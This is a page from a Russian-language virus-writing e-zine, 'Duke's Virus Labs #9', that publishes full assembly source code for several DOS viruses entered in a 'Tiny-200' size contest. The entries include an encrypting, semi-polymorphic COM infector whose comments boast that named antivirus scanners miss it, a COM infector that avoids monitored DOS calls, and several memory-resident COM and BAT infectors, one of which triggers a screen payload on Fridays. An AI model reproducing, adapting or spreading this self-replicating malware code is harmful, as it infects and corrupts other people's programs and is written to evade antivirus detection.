- [Duke's Virus Labs #9] - [Page 17] - Конкурс "Tiny-200" (c) by DVL Team Итак, здесь содержатся сырцы вирусяк присланных на конкурс... Первым идет победитель по фичам: ; Hip.200 by Deviator/HAZARD ; Фичи ; - Заражает файлы не стандартно - вирус в начале,а жертва потом ; - Семиполиморфный ; - Кроме того что себя криптует - еще и криптует свой носитель ; - .Exe под видом .Com не заражает ; - Содержит пятибайтовый (c) ; - Размер можно уменьшить на байт ; Евристика: ; DrWeb обламывается ; AVP обламывается ; F-PROT туда-же ; ... а почему - незнаю ;) .model tiny .386 .code org 100h Hip: nop ; мусор db 'Z' ; Наша метка зараженности = 'Z' nop ; мусор mov di,offset DCE+100h ; Наш декриптовшик nop ; Мусор LDc: xor byte ptr ds:[di],00 DKey equ $ - 1 nop ; Мусор inc di nop ; Мусор cmp di,0FF00h nop jb LDc nop ; Мусор DCL equ $ - Hip DCE: push dx ds ds ds di ; Di = 0FF00h - для будущего DTA mov ax,cs add ax,1000h ; Пишим себя вверх mov es,ax mov cx,si xor di,di rep movsb push es push offset HEnt ; Управление на верхнюю часть retf FMask db '*.com',0 ; Маска Hent: push cs cs ; Ds=Es=Cs pop es ds mov ah,1Ah pop dx ; Dx = 0FF00h int 21h mov ah,4Eh mov dx,offset FMask ; Найдем файл NFile: int 21h jb AllDone mov ax,3d02h mov dx,0FF1Eh ; Откроем его int 21h xchg ax,bx mov ah,3Fh mov cx,dx ; Читаем его mov dx,offset VEnd int 21h mov si,dx xor di,di cmpsb ; Заражен ? cmpsb jz CFile push ax ; Размер файла xor si,si push si mov cx,DCL ; Производим мутацию декриптора DoP: mov al,[si] ; Взяли байт cmp al,90h ; Xchg ax,di ? (97h) ja Dz in al,40h ; Random and al,00000011b ; От нуля до трех add al,90h ; Делаем Xchg или Nop mov [si],al ; Поместили Dz: inc si ; след. байт loop DoP pop si in al,40h ; Random mov byte ptr DKey,al mov di,offset VBz push di mov cx,VLen ; Копируем себя для криптовки rep movsb mov cx,0FE00h mov si,offset VBz+DCL ; Криптуем себя и тушу mov di,si mov ah,al Enc: lodsb xor al,ah stosb loop Enc mov ax,4200h cwd ; На начало файла int 21h mov ah,40h ; Пишим нас и тушу pop dx pop cx add cx,Vlen int 21h CFile: mov ah,3eh ; Закрываем файл int 21h mov ah,4Fh ; Следующий jmp NFile db '!HiP!' ; (c) AllDone: pop ds es mov di,100h push di mov si,di add si,VLen ; Восстанавливаем тушу mov cx,0FE00h rep movsb retf ; На программу VLen equ offset $ - Hip int 20h ; Простой носитель VBz db VLen dup (?) VEnd: End Hip ---------------------------------------------------------------------------- Забавная хрень от Deviator'a: ; МИкРоб.200 ; Вот вам очередное твАрение. Тривиальный search. Но почти не использует ; 21 прерывание. ; Шо гонят антивирусы: ; DrWeb 4.02 - Com.Crypt.Virus ; DrWeb 4.11 - Com.Virus ; AVP B128 - ноль на массу ; А еще в газетах пишут шо AVP лудше ;) .model tiny .286 .code org 100h main: call entry ; Получим нашу позицию в тушке entry: mov si,sp lodsw xchg ax,bp mov ds:[OurStack-Entry][Bp],ss ; Сохраним тушкин стек ж) mov di,100h push di lea si,[_bytes-Entry][bp] ; Создадим видимость пригодности тушки movsw movsw mov ah,1ah lea dx,[dta-Entry][bp] int 21h ;; Первое использование i21h mov ax,1203h ;; Получим сегмент данных ДОСа int 2Fh push ds cs pop ds ss lea dx,[msk-entry][bp] mov ah,4eh ; Ищим филе (тушку рыбки ;) Fit: int 21h ; Второе использование jnc Seek mov ss,cs:[OurStack-Entry][Bp] ; Все ! Тушек больше нет push cs cs ;; Восстановим стек и сегментники pop es ds retn ; Назад ! seek: push ds bp mov ax,1226h ; Откроем филе lea dx,[fname-Entry][bp] mov cl,2 int 2Fh pop bp ds xchg bx,ax lea dx,[_bytes-Entry][bp] push ds ; Поковыряемся с упаковкой pusha mov ax,1229h mov cl,4 int 2Fh popa pop ds mov si,dx lodsb cmp al,40h ; Уже успели пометить ? jne Infect next: push bp ds mov ax,1227h ; Да, энту банку не трогаем int 2Fh pop ds bp mov ah,4fh ; Следующая банка jmp Fit _bytes db 0cdh db 020h dw 0 msk db '*.com',0 db 'МИкРоб/Deviator' infect: push ds pusha mov ax,1228h ; В самую глубину банки mov bp,4202h xor cx,cx cwd int 2Fh popa pop ds mov ah,40h lea dx,[main-entry][bp] ; Размножаемся mov cx,vlen int 21h ;; 3 использование mov ax,word ptr ds:[FSize-entry][Bp] sub ax,4 ;; Установим JMP mov word ptr ds:[temp+2-entry][bp],ax push ds pusha mov ax,1228h mov bp,4200h ; На самую верхушку банки xor cx,cx cwd nop int 2Fh popa pop ds mov ah,40h lea dx,[temp-entry][bp] ; Обс...ем банку (по собачьи - метим ;) mov cl,4 int 21h ;; 4 использование и последнее jmp next ; Следующая тушка temp db 40h db 0E9h ; Метка db ? db ? vlen = offset $ - 100h OurStack dw ? dta db 21 dup (?) db ? dw ? dw ? FSize dd ? FName db 13 dup (?) end main ---------------------------------------------------------------------------- Вирус Supra несколько не удовлетворяет условиям конкурса - при тестировании CyberShadow'ом он объявил себя оверврайтом, а Duke так и не смог заставить его поражать файлы : после запуска вируса остальные программы попросту не запускались :(( Автор семейства Supra - ULTRAS. ; Supra virus 1.0 ; *************** ; This is a spawning resident COM infector. .model tiny .code .386 org 100h start: mov ax,3521h ; get interrupt vector 21h int 21h mov word ptr [int21_addr],bx mov word ptr [Int21_addr+02h],es mov ah,25h ; set interrupt vector 21h mov dx,offset int21_vir int 21h mov dl,offset end_m+1-100h ;tsr int 27h ; stay resident int21_vir: cmp ah,4bh ; execute program jne int21_e ; not equal, jmp_exit infect: ; ds:dx = filename pusha ; save regs push es ds mov di,offset new_fn ;copy filename push di mov si,dx push cs pop es load_fn: ; load filename lodsb stosb or al,al jnz load_fn mov dword ptr es:[di],004d4f43h ; add extension COM mov ah,56h ; rename pop di int 21h jc tyta create: ; create new fie mov ah,3ch mov cl,0010b ;create file int 21h push cs pop ds xchg bx,ax ;filehandle mov ah,40h mov cx,offset end_v-100h ;write virii mov dx,100h ;code begin int 21h mov ah,3eh ;close file int 21h tyta: pop ds es mov dword ptr ds:[si],004d4f43h popa int21_e: db 0eah ;jump to int 21. end_v: int21_addr dd ? ; address of interrupt 21h new_fn db 30 dup (?) end_m: end start ---------------------------------------------------------------------------- BAT инфектор от ULTRAS'a: ; *********** ; This is a spawning resident COM infector. .model tiny .code .386 org 100h start: db "::" jmp v_start db 13,10 db "@copy %0 $-$.com>nul",13,10 db "@$-$.com",13,10 db "@del $-$.com",13,10 db "::" v_start: mov ax,3521h ; get interrupt vector 21h int 21h mov word ptr [int21_addr],bx mov word ptr [Int21_addr+02h],es mov ah,25h ; set interrupt vector 21h mov dx,offset int21_vir int 21h mov dl,offset end_m+1-100h ;tsr int 27h ; stay resident int21_vir: cmp ah,4bh ; execute program jne int21_e ; not equal, jmp_exit infect: ; ds:dx = filename pusha ; save regs push es ds mov di,offset new_fn ;copy filename push di mov si,dx push cs pop es load_fn: ; load filename lodsb stosb or al,al jnz load_fn mov dword ptr es:[di],00544142h ; add extension BAT mov ah,56h ; rename pop di int 21h jc tyta create: ; create new fie mov ah,3ch mov cl,0010b ;create file int 21h push cs pop ds xchg bx,ax ;filehandle mov ah,40h mov cx,offset end_v-100h ;write virii mov dx,100h ;code begin int 21h mov ah,3eh ;close file int 21h tyta: pop ds es mov dword ptr ds:[si],00544142h popa int21_e: db 0eah ;jump to int 21. end_v: int21_addr dd ? ; address of interrupt 21h new_fn db 30 dup (?) end_m: end start ---------------------------------------------------------------------------- COM/BAT инфектор... ; %%%%%%%%%%%%% ; % Supra 1.1 % ; %%%%%%%%%%%%% ; ; Memory resident bat/com infector. .model tiny .code org 100h start: db "::" jmp vm_start ; jmp virus start db 13,10 db "@copy %0 $-$.com>nul",13,10 db "@$-$.com",13,10 db "@del $-$.com",13,10 db "::" vm_start: mov ax,3521h ; get interrupt vector 21h int 21h mov word ptr [int21_addr],bx mov word ptr [Int21_addr+02h],es mov ah,25h ; set interrupt vector 21h mov dx,offset int21_vir int 21h not dh int 27h ; stay resident int21_vir: cmp ah,4bh ; execute program je execute cmp al,21 ; install check jne int21_e cmp dx,offset int21_vir jne int21_e Restore_Control: ;restore host file mov di,100 pop si mov si,offset vend push di mov ch,0fdh ; copy host file in memory repnz movsb xor ax,ax iret execute: ; infect proc push ax push bx push cx push dx push ds mov ax,3d02h ; open file int 21h xchg ax,bx push cs pop ds mov ah,3fh ; read file mov dx,offset vend mov ch,0feh int 21h mov si,dx cmp byte ptr [si],':' ; infect? je done ; file already infected push ax mov ax,4200h xor cx,cx ;Go to beginning of prog. xor dx,dx int 21h pop cx mov ah,40h ; write virii add cx,vend-start inc dh int 21h done: mov ah,3eh ;close file int 21h pop ds pop dx pop cx pop bx pop ax int21_e: db 0eah ;jump to int 21 int21_addr dd ? ; address of interrupt 21h vend: virname db 'Supra' quit: ret end start ---------------------------------------------------------------------------- Единственный из присланных вирусов с видео эффектом: ; Supra virus 1.0 + payload ; ************************* ; This is a spawning resident COM infector. .model tiny .code .386 org 100h start: mov ah,2ah ;get system date function int 21h cmp al,5h ;if it's friday jne startvir ;if not so jump to startvir payload: mov ax,13h ; set mode 13h int 10h mov bx,0A000h mov ds,bx loop_: mov [bx],cl add bx,bx jnc $+5 xor bl,45 loop loop_ mov ah,1 ; check for keystroke int 16h jz loop_ ; l00p mov ax,3 int 10h ret startvir: mov ax,3521h ; get interrupt vector 21h int 21h mov word ptr [int21_addr],bx mov word ptr [Int21_addr+02h],es mov ah,25h ; set interrupt vector 21h mov dx,offset int21_vir int 21h mov dl,offset end_m+1-100h ;tsr int 27h ; stay resident int21_vir: cmp ah,4bh ; execute program jne int21_e ; not equal, jmp_exit infect: ; ds:dx = filename pusha ; save regs push es ds mov di,offset new_fn ;copy filename push di mov si,dx push cs pop es load_fn: ; load filename lodsb stosb or al,al jnz load_fn mov dword ptr es:[di],004d4f43h ; add extension COM mov ah,56h ; rename pop di int 21h jc tyta create: ; create new fie mov ah,3ch mov cl,0010b ;create file int 21h push cs pop ds xchg bx,ax ;filehandle mov ah,40h mov cx,offset end_v-100h ;write virii mov dx,100h ;code begin int 21h mov ah,3eh ;close file int 21h tyta: pop ds es mov dword ptr ds:[si],004d4f43h popa int21_e: db 0eah ;jump to int 21. end_v: int21_addr dd ? ; address of interrupt 21h new_fn db 30 dup (?) end_m: end start